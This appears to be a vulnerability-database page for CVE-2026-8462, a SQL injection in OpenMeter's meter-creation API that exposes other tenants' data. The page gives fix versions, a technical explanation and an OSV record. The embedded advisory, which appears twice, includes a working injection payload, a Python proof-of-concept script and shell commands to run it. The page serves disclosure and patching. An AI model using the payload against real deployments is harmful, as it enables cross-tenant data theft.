CVE-2026-8462: OpenMeter SQL Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-wc3v-3457-c8cm
CWE-89
Published
Advisory Summary

CVE-2026-8462 is a MODERATE sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting OpenMeter libraries in the Go ecosystem. The issue involves sql injection through meter creation. Remediation is available by upgrading affected packages to version 1.0.0-beta.228.

CVE-2026-8462 at a Glance

CVE Identifier CVE-2026-8462
GHSA Identifier GHSA-wc3v-3457-c8cm
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product OpenMeter
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-8462

To remediate this vulnerability, upgrade all affected OpenMeter dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/openmeterio/openmeter fixed: 1.0.0-beta.228
Upgrade github.com/openmeterio/openmeter to 1.0.0-beta.228
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/openmeterio/openmeter

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-8462, inspect your project dependencies for OpenMeter:

inspect dependencies for github.com/openmeterio/openmeter

Analyze the terminal output to locate any version of OpenMeter in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-beta.228), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In OpenMeter, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. ### Details `openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`: ```go sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) ``` `sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: ``` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``` Generated SQL: ```sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``` Fix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder: ```diff -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) ``` ### PoC `poc.py`: ```python import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --" def post_meter(value_property): body = json.dumps({ "slug": f"poc_{uuid.uuid4().hex[:8]}", "eventType": "x", "aggregation": "SUM", "valueProperty": value_property, }).encode() req = Request(f"{API}/api/v1/meters", data=body, headers={"Content-Type": "application/json"}, method="POST") t0 = time.monotonic() with urlopen(req, timeout=SLEEP + 10) as r: return r.status, time.monotonic() - t0 _, baseline = post_meter("$.tokens") status, elapsed = post_meter(PAYLOAD) print(f"baseline : {baseline:.3f}s") print(f"injected : {elapsed:.3f}s (HTTP {status})") print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}") ``` ```shell docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py ``` Expected output: ``` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``` ### Impact SQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible. ### Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research

CVE-2026-8462 Affected OpenMeter Versions

1 component(s)
Fixed Versions:
1.0.0-beta.228
Product / Package Ecosystem Affected Versions Fixed Version
github.com/openmeterio/openmeter
Go
< 1.0.0-beta.228
1.0.0-beta.228

References

Frequently Asked Questions

What is CVE-2026-8462?
CVE-2026-8462 is a security vulnerability in OpenMeter involving SQL injection through meter creation under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which OpenMeter versions are affected?
Affected versions include releases prior to 1.0.0-beta.228 across affected packages: github.com/openmeterio/openmeter.
What version fixes CVE-2026-8462?
Upgrading to 1.0.0-beta.228 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/openmeterio/openmeter affected?
Yes, github.com/openmeterio/openmeter is affected in releases prior to 1.0.0-beta.228. Upgrade your dependency to 1.0.0-beta.228 or later.
What CWE is associated with CVE-2026-8462?
CVE-2026-8462 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Go dependencies for CVE-2026-8462?
Run the dependency tree command: 'inspect dependencies for github.com/openmeterio/openmeter'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wc3v-3457-c8cm",
  "modified" : "2026-06-04T18:39:52Z",
  "published" : "2026-06-04T18:39:52Z",
  "aliases" : [ "CVE-2026-8462" ],
  "summary" : "OpenMeter: SQL injection through meter creation",
  "details" : "### Summary\n\nAn authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.\n\n### Details\n\n`openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`:\n\n```go\nsb.Select(fmt.Sprintf(\"JSON_VALUE('{}', '%s')\", sqlbuilder.Escape(d.jsonPath)))\n```\n\n`sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized.\n\nThe payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as \"invalid JSONPath\" and returns early — before the injected branch can execute.\n\nWorking payload:\n```\n$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --\n```\n\nGenerated SQL:\n```sql\nSELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'\n```\n\nFix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder:\n\n```diff\n-sb.Select(fmt.Sprintf(\"JSON_VALUE('{}', '%s')\", sqlbuilder.Escape(d.jsonPath)))\n+sb.Select(fmt.Sprintf(\"JSON_VALUE('{}', %s)\", sb.Var(d.jsonPath)))\n```\n\n### PoC\n\n`poc.py`:\n\n```python\nimport json, time, uuid\nfrom urllib.request import Request, urlopen\n\nSLEEP   = 3\nAPI     = \"http://localhost:48888\"\nPAYLOAD = f\"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --\"\n\ndef post_meter(value_property):\n    body = json.dumps({\n        \"slug\":          f\"poc_{uuid.uuid4().hex[:8]}\",\n        \"eventType\":     \"x\",\n        \"aggregation\":   \"SUM\",\n        \"valueProperty\": value_property,\n    }).encode()\n    req = Request(f\"{API}/api/v1/meters\", data=body,\n                  headers={\"Content-Type\": \"application/json\"}, method=\"POST\")\n    t0 = time.monotonic()\n    with urlopen(req, timeout=SLEEP + 10) as r:\n        return r.status, time.monotonic() - t0\n\n_, baseline = post_meter(\"$.tokens\")\nstatus, elapsed = post_meter(PAYLOAD)\n\nprint(f\"baseline : {baseline:.3f}s\")\nprint(f\"injected : {elapsed:.3f}s  (HTTP {status})\")\nprint(f\"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}\")\n```\n\n```shell\ndocker compose up -d\nuntil curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done\npython3 poc.py\n```\n\nExpected output:\n```\nbaseline : 0.036s\ninjected : 3.031s  (HTTP 200)\nresult   : sleep(3) CONFIRMED\n```\n\n### Impact\n\nSQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.\n\n### Attribution\nThis vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/openmeterio/openmeter"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0-beta.228"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openmeterio/openmeter/pull/4383"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/openmeterio/openmeter"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-04T18:39:52Z",
    "nvd_published_at" : null
  }
}